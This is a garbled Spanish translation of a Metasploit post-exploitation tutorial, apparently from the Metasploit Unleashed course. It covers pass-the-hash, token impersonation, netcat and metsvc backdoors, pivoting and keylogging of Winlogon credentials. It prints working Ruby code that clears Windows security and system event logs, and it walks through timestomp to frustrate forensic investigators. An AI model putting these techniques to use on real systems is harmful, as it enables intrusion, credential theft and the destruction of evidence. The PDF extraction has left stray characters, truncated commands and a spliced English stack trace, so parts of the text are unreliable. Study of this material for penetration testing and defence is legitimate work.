Mubix desde http://room362.com ha lanzado un script en Ruby, que sirve para
entregar una copia de Metasploit a un sistema ³ya comprometido´, esto le permite
esencialmente instalar/ejecutar/controlar Metasploit en la maquina de las víctimas
y continuar así la explotación en ella. Esto sería muy beneficioso en muchos
casos, lo mas importante sería que se está ya está haciendo un test de
penetración y ha obtenido acceso al Meterpreter. Desde allí se puede
bajar/subir/instalar Metasploit como un Payload y continuar asi con la explotación
de la red interna.
root@bt4:/pentest/exploits/framework3/plugins# wget
http://www.room362.com/tools/deploymsf.rb
--2009-06-27 12:10:05-- http://www.room362.com/tools/deploymsf.rb
Resolving www.room362.com... 66.197.106.2
Connecting to www.room362.com|66.197.106.2|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4227 (4.1K) [text/plain]
Saving to: `deploymsf.rb'
msf >
Tambien tenemos otras opciones, como por ejemplo pasar el hash a través de
herramientas como el iam.exe. Un gran método de PSEXEC en Metasploit es que
le permite introducir la contraseña en si, solo con los valores. O sea simplemente
basta con especificar los valores del hash, no hay necesidad de cracks para
obtener acceso al sistema. Ahora vamos a pensar profundamente acerca de cómo
podemos utilizar este tipo de ataque para continuar con la penetración.
Ahora que tenemos una consola Meterpreter y los hash´s dumpeados , podemos
conectarnos a las diferentes víctimas utilizando PSEXEC y los valores hash
solamente
cc
root@bt4:/pentest/exploits/framework3# ./msfconsole
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
Exploits
========
Name Description
---- -----------
windows/smb/psexec Microsoft Windows Authenticated User Code
Execution
windows/smb/smb_relay Microsoft Windows SMB Relay Code Execution
Exploit target:
Id Name
-- ----
0 Automatic
C:\WINDOWS\system32>
Eso es todo! Hemos logrado conectar en un equipo independiente con las mismas
credenciales, sin tener que preocuparnos de rainbowtables o de craquear la
contraseña. Aprovecho para agradecer a "Chris Gates" por la documentación
sobre este tema.
l c#
cc!
c
¿Sabes? A veces es mejor no tener sus actividades registradas. Cualquiera que
sea el motivo, algún día puedes encontrarte en una situación en la que necesitas
eliminar los logs / registros de eventos de Windows. Echándole un vistazo a la
fuente del script winenum, ubicado en 'scripts / meterpreter', podemos ver el
funcionamiento de esta función.
def clrevtlgs(session)
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
print_status("Clearing Event Logs, this will leave and event 517")
begin
evtlogs.each do |evl|
print_status("tClearing the #{evl} Event Log")
log = session.sys.eventlog.open(evl)
log.clear
end
print_status("Alll Event Logs have been cleared")
rescue ::Exception => e
print_status("Error clearing Event Log: #{e.class} #{e}")
end
end
"windows/browser/facebook_extractiptc"=>#,
"windows/antivirus/trendmicro_serverprotect_earthagent"=>#,
"windows/browser/ie_iscomponentinstalled"=>#,
"windows/exec/reverse_ord_tcp"=>#,
"windows/http/apache_chunked"=>#,
"windows/imap/novell_netmail_append"=>#
Ahora veremos si podemos limpiar el registro ejecutando 'log.clear'.
>> log.clear
=> #<#:0xb6779424 @client=#>,
/trendmicro_serverprotect_earthagent"=>#,
"windows/browser/ie_iscomponentinstalled"=>#,
"windows/exec/reverse_ord_tcp"=>#,
"windows/http/apache_chunked"=>#,
"windows/imap/novell_netmail_append"=>#
¿Funciona?
Hemos tenido éxito! Como ves ya no existen registros por aquí. Ahora podemos
profundizar mas y crear nuestro propio script para limpiar el registro de eventos...
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
puts ("Clearing Event Logs, this will leave an event 517")
evtlogs.each do |evl|
puts ("tClearing the #{evl} Event Log")
log = client.sys.eventlog.open(evl)
log.clear
end
puts ("All Clear! You are a Ninja!")
Este es el poder de Meterpreter. Sin mucho mas esfuerzo que no sea un código
de ejemplos que hemos tomado de otro script, hemos creado una herramienta
muy útil para ayudarnos a cubrir / borrar /esconder nuestras acciones.
l c6!
c c ! c
c
Incognito es originalmente una aplicación estandard que nos permitirá clonar
tokens de usuarios cuando se comprometa un sistema con éxito. Esta aplicación
fue integrada en Metasploit, y luego finalmente en Meterpreter.
Puedes leer mas acerca de Incognito y su modo de robar e imitar tokens a través
del documento original de Like Jenning en el siguiente enlace:
http://labs.mwrinfosecurity.com/publications/mwri_security-implications-of-
windows-access-tokens_2008-04-14.pdf
En una shell, los tokens son igual que cookies web. Se trata de una clave/key
temporal que le permite acceder al sistema y la red sin tener que proporcionar
credenciales cada vez que se acceda a un archivo. Incognito explota de la misma
manera el robo de tokens que el de cookies. Bueno, vale, Hay dos tipos tokens,
delegate, y impersonate.
Delegate: son creado para los inicios de sesion ³interactive / interactiva´, por
ejemplo iniciando sesión en la maquina, o conectándose a ella a través de
escritorio remoto / remote desktop. Impersonate: son para las sesiones ³non-
interactive / no-interactivas´, por ejemplo la colocación de una unidad de red, o un
script de inicio de sesión de dominio.
¿hay algo mas en las tokens? Ellas Persisten hasta que se reinicie. Cuando un
usuario cierra la sesión, su token delegate es reportada como una token imitada /
clonada, pero aún y todavía mantendrá la totalidad de los derechos de una ficha
delegate.
Así que, una vez tienes una consola Meterpreter, puedes clonar tokens validas en
el sistema y convertirte en ese usuario especifico sin tener que preocupare por sus
credenciales, o, en esta ocasión, incluso los hashes. Durante una prueba de
penetración esto es especialmente útil, debido al hecho de que las cuentas tienen
la posibilidad de permitir una escalación de privilegio local o en un dominio, lo que
le da vías alternas con privilegios elevados a múltiples sistemas.
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)
10 Windows XP SP2 Arabic (NX)
11 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
meterpreter >
Ahora tenemos una consola Meterpreter desde la cual vamos a lanzar Incognito y
atacar las tokens. Como priv (hashdump y timestomp) y stdapi (upload, download,
etc), Incognito es un modulo Meterpreter. Vale, bien, ahora cargamos el modulo en
la sesion de Meterpreter ejecutando el comando ³use incognito´. El comando
³help´ nos muestra la variedad de opciones que tenemos para incognito y
descipciones sobre cada opcion.
Incognito Commands
==================
Command
Description
------- -----------
meterpreter >
Lo que tenemos que hacer primero es identificar si hay tokens validas en este
sistema. Dependiendo del nivel de acceso que le proporciona su exploit estaran
limitadas a las tokens que son capaces de ver. Cuando se trata de un robo de
tokens, el SISTEMA es el REY. En el sistema tienes permiso para ver y utilizar
cualquier token en la box.
*TIP*: Los administradores no tienen acceso a todas las tokens, pero tienen la
capacidad de migrar para los procesos del sistema, representando así al
SISTEMA y siendo capaz de ver todas las tokens disponibles.
meterpreter >
Vemos aquí que hay una token de Administrador valida que parece ser de interés.
Ahora tenemos que hacernos pasar por esta token a fin de conseguir sus
privilegios. Al mandar el comando ³impersonate_token´, tienes que tener en
cuenta las dos barras invertidas en ³SNEAKS.IN\\Administrator´. Esto es necesario
debido a que causa errores con una sola barra. Tenga en cuenta también que,
después de hacerse pasar con éxito por una token, deberass comprobar el
USERID actual, podemos hacerlo mediante la ejecución del comando ³ getuid´.
C:\WINDOWS\system32>whoami
whoami
SNEAKS.IN\administrator
C:\WINDOWS\system32>
l c
c cc!
c
c
El registro de Windows es un lugar realmente mágico, donde con solo pulsar una
tecla o hacer clics un par de veces podrás hacer que un sistema quede
inutilizarble. Por lo tanto deberéis de tener mucho cuidado con las acciones que
hagáis en estas próximas sesiones, debido a que los errores pueden ser muy
dolorosos y dañinos.
Meterpreter tiene algunas funciones muy útiles para interactuar con el registro.
Echemos un vistazo a las opciones:
OPTIONS:
COMMANDS:
Aquí vemos que hay varias opciones que podemos utilizar para interactuar con el
sistema remoto.
Hay una lista muy interesante de referencia rápida sobre estas grabaciones en el
registro en
http://www.accessdata.com/media/en_US/print/papers/wp.Registry_Quick_Find_C
hart.en_us.pdf así como cualquier referencia que puedes encontrar en internet,
que son muy útiles cuando se busca algo en concreto.
l c)
,c0
c
c
c
Trabajaremos distinto en este ejemplo, en lugar de buscar información en el
sistema remoto, se instalará un backdoor con netcat en el. Esto incluye cambios
en el registro y el firewall.
En primer lugar, tenemos que entregar una copia de netcat al sistema remoto:
Values (3):
VMware Tools
VMware User Process
quicktftpserver
05/03/2009 01:43 AM
.
05/03/2009 01:43 AM
..
05/03/2009 01:26 AM 0 ;i
05/12/2009 10:53 PM
Desktop
10/29/2008 05:55 PM
Favorites
05/12/2009 10:53 PM
My Documents
05/03/2009 01:43 AM 0 QCY
10/29/2008 03:51 AM
Start Menu
05/03/2009 01:25 AM 0 talltelnet.log
05/03/2009 01:25 AM 0 talltftp.log
4 File(s) 0 bytes
6 Dir(s) 35,540,791,296 bytes free
Maravilloso! En una situación real, no se debe utilizar un backdor tan simple como
este, sin autenticación o cifrado ni nada, sin embargo los principios generales de
este proceso siguen siendo los mismos que otros cambios en el sistema, y otro
tipo de programas piden ejecutarse con el arranque.
l[ c
c
c#c
Veamos otra situación en la que Metasploit nos hace muy fácil el trabajo de
apertura de puertas malvadas utilizando nada más que herramientas integradas
en el sistema. Vamos a utilizar el script 'getgui' de Carlos Perez, habilitaremos el
escritorio remoto (Remote Desktop), y crearemos una cuenta nueva para acceder
con ella.
La utilización de este script no podía de ninguna manera ser mas fácil de lo que ya
es.... así que:
Ya está, hemos terminado :D, es verdad. Comprueba la conexión para que veas
que es así de fácil.
c
Aquí vemos que si que era fácil si. Se utilizó el comando rdesktop y se especifico
el User y Pass que queremos utilizar para el login. Entonces hemos recibido un
mensaje de advertencia que nos hace saber que un usuario ya ha iniciado sesión
en la consola del sistema, y que si le damos a continuar el usuario se
desconectara. Este es el comportamiento esperado para un sistema de escritorio
de Windows XP, para que podáis ver que todo funciona como esperábamos.
Tenga en cuenta que Windows Server permite logins gráficos lo que resulta que
no encontraras este mensaje de advertencia.
Recuerda que estos tipos cambios son muy poderosos. Pero debes utilizarlos con
sabiduría y cautela,pero mucha, debido a que todos estos pasos alteran los
sistemas de manera que puedan ser utilizados por los investigadores para rastrear
qué tipo de medidas y acciones se realizaron en el sistema.
l c
c
c c
c
En el momento de escribir los tutoriales de este curso, H.D. Moore lanzó una
nueva función para Metasploit Framework que es muy poderosa en todos los
sentidos. Meterpreter tiene ahora la capacidad de escuchar paquetes (packet sniff)
en el host remoto sin tocar el disco duro. Esto es especialmente útil si queremos
saber y controlar los tipos de información que se están enviando, y aún mejor, este
es probablemente el inicio de varios módulos auxiliares, que en última instancia,
busca los datos mas sensibles dentro de los archivos de captura. El modulo Sniffer
puede almacenar hasta 200.000 paquetes en el buffer y también los exporta al
formato standard PCAP, que nos permite leer y procesarlos en el psnuffle, el
dsniff, el wireshark, entre otros.
Sniffer Commands
================
Command Description
------- -----------
sniffer_dump Retrieve captured packet data
sniffer_interfaces List all remote sniffable interfaces
sniffer_start Capture packets on a previously opened interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet captures on the specified interface
c
c
l c !c
Pivoting es una técnica que utiliza una única instancia que sea capaz de "mover"
cualquier tipo de trafico en una red. (también conocida como 'plant' o 'foothold').
Básicamente utilizando el primer compromiso, por ejemplo, nos permite e incluso
nos ayuda en la penetración de otros sistemas inaccesibles. En este caso lo
utilizaremos para encaminar el trafico de una red, normalmente no-routeable.
Module options:
Exploit target:
Id Name
-- ----
0 Windows XP SP2-SP3 / Windows Vista SP0 / IE 7
Module options:
Exploit target:
Id Name
-- ----
0 Windows XP SP2-SP3 / Windows Vista SP0 / IE 7
Nuestro ataque de ingeniería social ha sido todo un éxito! Mas o menos como los
asiáticos y Google hace poco tiempo. Pobre Mary Swanson se ha conectado a la
página web y, sin saberlo, ha dado pleno acceso a su computadora.
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104:62239
De alguna u otra manera tenemos que elevar nuestro acceso todavía más y más
aun en la red. No se si lo abéis notado, pero hemos utilizado un Payload
REVERSE Meterpreter. Observe las maquinas de ataque, el IP está en una sub-
red diferente de la de la maquina de las víctimas. La dirección IP víctima es
10.211.55.140 y nuestro ataque proviene de 10.10.1.109 ¿Cómo podemos lanzar
ataques contra otros sistemas en la red? Si queremos ir detrás de otra dirección
en 10.221.55.128, tenemos que dar la vuelta a la conexión y así explotar el
sistema. Vamos allá.
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104:62239
meterpreter >
Background session 1? [y/N]y
Ahora vamos a utilizar nuestra nueva ruta para explotar un sistema más dentro de
la red de la víctima.
Module options:
Exploit target:
Id Name
-- ----
0 Automatic Targeting
meterpreter >
Background session 2? [y/N]y
Parece que otra vez tenemos éxito. Vamos a confirmar que estamos donde
queremos estar.
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104:62239
2 Meterpreter 10.10.1.109:9000 -> 10.10.1.104:62260
C:\WINDOWS\system32> ipconfig
ipconfig
Windows IP Configuration
C:\WINDOWS\system32>
Birra para todos :D!!! hemos tenido éxito si, en esta explotación, comprometiendo
la red 10.211.55.0/24 y los hosts normalmente no routeables.
c
c
c
c
l± c1##c
Interactuar con la mayoría de los archivo del sistemas es como caminar en la
nieve... dejaras huellas, muchas huellas. Edemas el grado de detalle de estas
huellas son muy altas, aunque también se puede aprender mucho con ellas, y
cuánto tiempo esta dura depende de diversas circunstancias. El arte de analizar
estos artefactos se llama ³Digital Forensics´, mas utilizado por la policia que nadie.
Por diversas razones, al realizar una penetración de buena magnitud, puede que
quiera hacer que sea difícil para un analista forense determinar las acciones que
has tomado.
Ahora, echemos un vistazo a fechas / data MAC solicitadas. Vemos que el archivo
fue creado recientemente. Vamos a hacernos un poco el tonto y hacer como si
esta fuera una herramienta Super-Secreta que tenemos que esconder (test.txt).
Una manera de hacer esto podría ser transformando la fecha MAC para que
coincida con la fecha MAC de otro archivo en el sistema. Podemos copiar los
tiempos / fecha MAC de cmd.exe a test.txt para hacer la mezcla un poco mejor.
Eso es! Ahora parece como si el archivo text.txt fue creado en diciembre de 1999.
Veamos como se ve esto desde Windows.
c
Exito! fíjate que hay algunas pequeñas diferencias entre los tiempos a través de
Windows y MSF. Esto se debe a la forma en que se muestran las zonas horarias.
Windows muestra los tiempos en -0600, mientras que MSF muestra los tiempos
de como -0500. Cuando se ajuste la diferencia horaria, podemos ver que
coinciden. Observe también que el acto de comprobación de la información dentro
de archivos de Windows ha alterado el tiempo del último acceso. Esto viene a
demostrar lo frágiles que pueden llegar a ser las fechas MAC, así que debe
tenerse cuando se interactúa con ellas
Este no es el típico mensaje de error que nos jode a todos :D, sino que para
nosotros es muy buena señal. Después de la reducción a cero los tiempos MAC,
timestomp no pudo analizar las entradas MAC correctamente. Esto es muy
interesante, ya que en algunas herramientas forenses saldrán el mismo problema,
y se bloqueará al toparse con entradas como ésta. Vamos a ver cómo se ve el
archivo en Windows.
Listing: C:\WINNT\antivirus
===========================
Vale... con nuestros archivos subidos, ahora vamos a ejecutar timestomp sobre los
archivos para despistar a cualquier posible investigador.
meterpreter > ls
[-] Error running command ls: bignum too big to convert into
`long'However, there is something to consider in this case. We have
hidden when an action occurred, yet it will still be very obvious to an
investigator where activity was happening.
/pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in
`at'/pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in
`mtime'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/c
ommand_dispatcher/stdapi/fs.rb:237:in
`cmd_ls'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/
command_dispatcher/stdapi/fs.rb:230:in
`each'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/co
mmand_dispatcher/stdapi/fs.rb:230:in
`cmd_ls'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:
234:in
`send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:23
4:in `run_command'/pentest/exploits/framework3/lib/rex/post/meterpreter
Sin embargo, hay algo a considerarse en este caso. Hemos escondido bien el
cuando una acción se produjo, pero, todavía estará muy claro para un investigador
la actividad que ha sucedido. ÙQué haríamos si quisiésemos ocultar, tanto como
cuando fue subido una caja de herramientas como donde fue subido?
La forma más fácil de abordar esta cuestión es poner a cero los tiempos de la
unidad completa. Esto hará que el trabajo del investigador sea muy, muy difícil, ya
que el típico análisis de línea de tiempo no será posible. Veamos, primero vamos a
mirar a nuestro directorio WINNTsystem32.
Ok, todo parece normal, para nosotros, claro. Ahora, le vamos a agitar un poco el
sistema de ficheros hasta quedar este muy mal!
meterpreter > pwd
C:WINNTantivirus
meterpreter > cd ../..
meterpreter > pwd
C:
meterpreter > ls
Listing: C:\
============
/post/file_stat.rb:66:in
`mtime'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/c
ommand_dispatcher/stdapi/fs.rb:237:in
/lib/rex/ui/text/dispatcher_shell.rb:191:in
`run_single'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:127:in
`run'./msfconsole:82
ll c
cc
c
Con la última actualización de Metasploit Framework (3,3) se incremento un
trabajo bastante excepcional desde el equipo de desarrollo de Metasploit. Hemos
aprendido mucho en capítulos anteriores sobre el impresionante poder de
Meterpreter. Pero aun queda mas... otra característica adicional es la capacidad
de capturar el escritorio de las víctimas y guardarlos en el sistema. Echemos un
vistazo a cómo funciona esto. Se supone que ya tiene una shell con meterpreter,
ahora vamos a echar un vistazo a lo que está en la pantalla de las víctimas.
meterpreter > ps
Process list
============
c
c
c1cc
c
Una de las características más potentes de Meterpreter es la versatilidad y la
facilidad de añadir características adicionales. Esto se logra a través del entorno
de programación Meterpreter. Esta sección cubre la automatización de tareas en
una sesión Meterpreter a través de la utilización de este entorno de programación,
¿cómo usted puede tomar ventaja de secuencias de comandos Meterpreter, y
cómo escribir sus propios scripts para resolver sus necesidades únicas?.
Antes de comenzar con esto, vale la pena mencionar las muchas otras cosas que
abarca. Al igual que todo el marco Metasploit, los scripts que se escriben en
formato ejecutable ruby $' en Ruby y ubicado en el directorio principal de
Metasploit en scripts / meterpreter. Si usted no está familiarizado con Ruby, un
gran recurso para el aprendizaje de rubí es el libro en línea "de programación
Ruby" http://www.rubycentral.com/book/ .
0
*Estas páginas las coloco yo como un adicional para la mejor comprensión
del entorno del Ruby ya que lastimosamente a mi no me sirvio de mucho la fuente
que cita en el documento original., espero les sirva:
å
c c
2c 9c
c 5c 5c c c c c
c
c [c #
c
#
http://www.ruby-lang.org/es/documentation/quickstart/
å#
c !
c !
2
c c #
c c 5:c
# c c
;
http://www.ruby-lang.org/es/documentation/
#
c5c cc3
c!
#
3
http://www.ruby-lang.org/es/documentation/ruby-from-other-languages/to-ruby-
from-php/
Antes de comenzar, por favor, tómese unos minutos para revisar el actual
repositorio de scripts en Meterpreter
http://dev.metasploit.com/redmine/projects/framework/repository/show/scripts/mete
rpreter. Este es un gran recurso a utilizar para ver cómo otros se acercan a los
problemas y, posiblemente orientarnos e inclusive pedir prestado el código que
pueden ser de utilidad para usted.
c
c
c
c#
# c
c
#
ccc
#
c
Vamos a cubrir algunas llamadas a la API común para los scriprt de la Meterpreter
y escribir un script utilizando algunas de estas llamadas a las API. Para más
llamadas a la API y ejemplos, ver el código de comandos y la documentación
Dispacher REX que se mencionó anteriormente.
Para ello, es más fácil para nosotros utilizar el intérprete irb que puede ser
utilizado para ejecutar llamadas a la API directamente y ver lo que es devuelto por
la llamada. Nos metemos en el IRB ejecutando el "irb 'comando desde el shell
Meterpreter.
>>
>> client.sys.config.sysinfo
=> {"OS"=>"Windows XP (Build 2600, Service Pack 3).",
"Computer"=>"WINXPVM01"}
>>
Como podemos ver en irb, una serie de valores fueron devueltos. Si queremos
saber el tipo de valores devueltos, se puede utilizar el objeto CLASS para ver lo
que se devuelve:
>> client.sys.config.sysinfo.class
=> Hash
>>
Podemos ver que tenemos un hash, por lo que podemos llamar a los elementos
de este hash a través de su clave. Digamos que queremos ver únicamente la
versión del sistema operativo:
>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)."
>>
Ahora vamos a obtener las credenciales en las que la carga útil se está
ejecutando. Para ello, usamos el 'client.sys.config.getuid "llamada a la API:
>> client.sys.config.getuid
=> "WINXPVM01\labuser"
>>
Para obtener el ID del proceso en virtud del cual la sesión se está ejecutando, se
utiliza el client.sys.process.getpid "llamada a la que se puede utilizar para
determinar qué proceso de la sesión se esta ejecutando internamente:
>> client.sys.process.getpid
=> 684
>> client.net.config.interfaces
=> [#, #]
>> client.net.config.interfaces.class
=> Array
Como se puede ver que devuelve un array de objetos que son de tipo Rex:: Post::
Meterpreter:: Extensiones:: Stdapi:: Net:: Interfaz que representa cada una de las
interfaces. Podemos iterar a través de este conjunto de objetos y obtener lo que se
llama una salida bastante de cada una de las interfaces de esta manera:
cc
c
[ c
c#
# c
c
(
c
c
Echemos un vistazo a algunas otras funciones que podrían ser útiles en la
construcción de una secuencia de comandos Meterpreter. Siéntase libre de utilizar
los mismos según sea necesario.
c
0
cc
#------------------------------------------------------------------------
-------
def list_exec(session,cmdlst)
if cmdlst.kind_of? String
cmdlst = cmdlst.to_a
end
print_status("Running Command List ...")
r=''
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "trunning command #{cmd}"
r = session.sys.process.execute(cmd, nil, {'Hidden' => true,
'Channelized' => true})
while(d = r.channel.read)
print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
end
0
cc
#------------------------------------------------------------------------
-------
def checkuac(session)
uac = false
begin
winversion = session.sys.config.sysinfo
if winversion['OS']=~ /Windows Vista/ or winversion['OS']=~
/Windows 7/
print_status("Checking if UAC is enaled ...")
key =
'HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem'
root_key, base_key = session.sys.registry.splitkey(key)
value = "EnableLUA"
open_key = session.sys.registry.open_key(root_key, base_key,
KEY_READ)
v = open_key.query_value(value)
if v.data == 1
uac = true
else
uac = false
end
open_key.close_key(key)
end
rescue ::Exception => e
print_status("Error Checking UAC: #{e.class} #{e}")
end
return uac
end
#------------------------------------------------------------------------
-------
0
cc
#------------------------------------------------------------------------
-------
0
cc
#-----------------------------------------------------
0
cc
#------------------------------------------------------------------------
-------
def clrevtlgs(session)
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
print_status("Clearing Event Logs, this will leave and event 517")
begin
evtlogs.each do |evl|
print_status("tClearing the #{evl} Event Log")
log = session.sys.eventlog.open(evl)
log.clear
end
print_status("Alll Event Logs have been cleared")
rescue ::Exception => e
print_status("Error clearing Event Log: #{e.class} #{e}")
end
end
0
!
"
!
# !
$
cc
#------------------------------------------------------------------------
-------
c
c
c
c
c
c
c
c
c
c
c
c
c
cc
c
Después de haber realizado en su totalidad la etapa de intrusión, dependiendo el
entorno del ataque, es una muy buena práctica poder asegurar el control del
acceso a nuestro objetivo ³Victima´. Esta etapa garantiza que podemos volver a
realizar la intrusión para poder analizar el objetivo con mucho más detalle. Si usted
esta realizando una única explotación ó esta accesando a través de un servicio
vulnerado, no podrá volver a acceder al objetivo hasta que usted no haya
configurado una Backdoor dentro de su victima u otra técnica que le garantice de
nuevo el acceso.
Una vez que han obtenido el acceso a un objetivo, que es última instancia de la
etapa de intrusión, podrían tener acceso a los otros sistemas que comparten la
misma subred. Dar un salto de un sistema a otro, obtener información sobre las
actividades de los usuarios mediante el control de sus pulsaciones de teclado, y
pasar por otros usuarios con datos capturados, estas son sólo algunas de las
técnicas que se describen en este módulo.
c75!! !c
Después que se han aprovechado de un sistema hay dos enfoques diferentes
donde usted puede tomar, la forma (Bajo y Lento) ó la forma rápida.
Bajo y lento puede conducir a una tonelada de gran información, si usted tiene la
paciencia y la suficiente disciplina. Una herramienta que se puede utilizar para la
recopilación de información bajo y lento es un script de Meterpreter, este se utiliza
para poder capturar las teclas pulsadas. Esta herramienta está muy bien diseñada,
Meterpreter permite capturar todas las entradas del teclado del sistema, sin
escribir nada en el disco, dejando una huella mínima para los investigadores
forenses. Perfecto para obtener contraseñas, cuentas de usuario, y todo tipo de
información valiosa.
c
c
c
Entonces, vamos a migrar el scrip de Meterpreter en el proceso de Explorer.exe,
de modo que no tiene que preocuparse por el proceso de explotación y el cierre
para de nuevo conseguir restablecer la sesión.
c
c
Por último, se inicia el keylogger, donde tenemos que esperar un tiempo para
realizar el Dump de la información obtenida.
c
No podría ser más fácil!, Observe cómo se representan las pulsaciones de
teclado.
Como un bono adicional, si desea capturar la información de login del sistema sólo
se desplazaría hacia el proceso Winlogon. Esto podría capturar las credenciales
de todos los usuarios iniciar sesión en el sistema mientras este está en ejecución.
Aquí podemos ver el proceso de Winlogon donde nos permite de manera efectiva
obtener la información de todos los usuarios de inicio de sesión en el sistema
comprometido. Hemos capturado el inicio de Sesión del Administrador identificado
con la siguiente contraseña: 'ohnoes1vebeenh4x0red! ".
c
c
c
[ c
c1cc
c
c
Después de pasar por todo el trabajo duro de la explotación de un sistema, a
menudo es una buena idea salir y luego volver a ingresar al sistema de una
manera más fácil. De esta manera si el servicio que usábamos está inactivo o
parchado, todavía puede ganar acceso al sistema. Aquí es donde 'Alexander
Sotirov' '
viene muy bien y se añadióc recientemente a los m,ódulos del
Metasploit. Para leer acerca de la aplicación original de metsvc, vaya a
http://www.phreedom.org/software/metsvc/.
Una palabra de advertencia antes de que vayamos más lejos. Metsvc como se
muestra aquí no requiere autenticación. Esto significa que cualquier persona que
obtiene acceso al puerto podrían tener acceso a su Back-Door! Esto no es una
buena cosa si usted está llevando a cabo una prueba de penetración, ya que esto
podría ser un riesgo significativo. En una situación real, ya sea que alteraría la
fuente para requerir autenticación, o filtrar las conexiones remotas en el puerto a
través de algún otro método.
meterpreter > ps
Process list
============
Antes de instalar metsvc, vamos a ver qué opciones están disponibles para
nosotros.
meterpreter >
meterpreter >
[ c
c c
c
Una vez más, tenga cuidado Cuándo y Cómo utilizar este truco. Los
Administradores de sistemas no estarán felices cuando usted haya dejado el
trabajo más fácil para los atacantes, haciendo que el Backdoor en el sistema sea
útil para ellos.
c
[ c
5 c c c
Para mí (Dave Kennedy) este fue uno de mis primeros módulos que he construido
para el marco de Metasploit. Soy un tipo pitón y cambiar a Ruby en realidad al final
no fue "tan" mal como yo había previsto. Después de construir el módulo, que
quería escribir paso a paso cómo fui capaz de crear el módulo, dar una pequeña
introducción en la construcción de módulos, lo fácil que es realmente para agregar
herramientas adicionales o explota en el marco de Metasploit.
En primer lugar, quiero empezar con darle una pequeña idea sobre algunos de los
componentes clave del marco de Metasploit que estaremos hablando.
Primero eche un vistazo en el lib / MSF / sección central dentro de Metasploit, esta
zona hay una mina de oro que se quieren aprovechar para no tener que
reconstruir todos los protocolos o un ataque cada vez que individuales. Vaya a la
base / explotar sección:
relik@fortress:/pentest/exploits/framework3/lib/msf/core/exploit$ ls
arkeia.rb dect_coa.rb lorcon2.rb seh.rb.ut.rb
browser_autopwn.rb dialup.rb lorcon.rb smb.rb
brute.rb egghunter.rb mixins.rb smtp_deliver.rb
brutetargets.rb fileformat.rb mssql_commands.rb smtp.rb
capture.rb ftp.rb mssql.rb snmp.rb
dcerpc_epm.rb ftpserver.rb ndmp.rb sunrpc.rb
dcerpc_lsa.rb http.rb oracle.rb tcp.rb
dcerpc_mgmt.rb imap.rb pdf_parse.rb tcp.rb.ut.rb
dcerpc.rb ip.rb pop2.rb tns.rb
dcerpc.rb.ut.rb kernel_mode.rb seh.rb udp.rb
relik@fortress:/pentest/exploits/framework3/lib/msf/core/exploit$
Podemos ver varias áreas que podrían ser útiles para nosotros, por ejemplo theres
ya envasados protocolos como Microsoft SQL, HTTP, TCP, Oracle, RPC, FTP,
SMB, SMTP, y mucho más. Echa un vistazo a la mssql.rb y mssql_commands.rb,
estos dos han sufrido algunas modificaciones importantes por HD Moore, yo
mismo, y Dark Operador reciente, desde que está agregando un poco de
funcionalidad a través de los aspectos MSSQL.
##
# $Id: ihaz_sql.rb 7243 2009-12-04 21:13:15Z rel1k $ <--- automatically
gets set for us when we check in
##
##
# This file is part of the Metasploit Framework and may be subject to
<---- licensing agreement, keep standard
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
Ahora que usted tiene una idea básica de este módulo, por salvar a esta (sin las <-
-----) y la deja correr en msfconsole.
Auxiliary
=========
Name Description
---- -----------
scanner/mssql/ihaz_sql MSSQL Ping Utility
Module options:
Success our module has been added! Now that we have a basic understanding
of how to add a module, lets look at the module I wrote on the next
section.
[ c
5
c
c
4
cc ./c
En la sección anterior que vio los fundamentos de crear un módulo, yo quería
mostrarles este módulo para conseguir una comprensión de lo que estamos a
punto de construir. Este módulo le permite entregar rápidamente las cargas útiles
Metasploit base a través de servidores Microsoft SQL. El código actual funciona
con 2000, 2005 y 2008. Estas secciones próximos primera le guiará a través de
cómo usar este tipo de ataque, y empezar desde cero que en la reconstrucción de
cómo fui capaz de escribir esta carga útil (y después de HDM limpiado mi código).
Primero vamos a echar un vistazo a cómo funciona el exploit. Si usted lee a través
de la sección de vía rápida ya, usted se daría cuenta de que algo similar ocurre
dentro de Fast-Track también. Cuando un administrador instala primero SQL
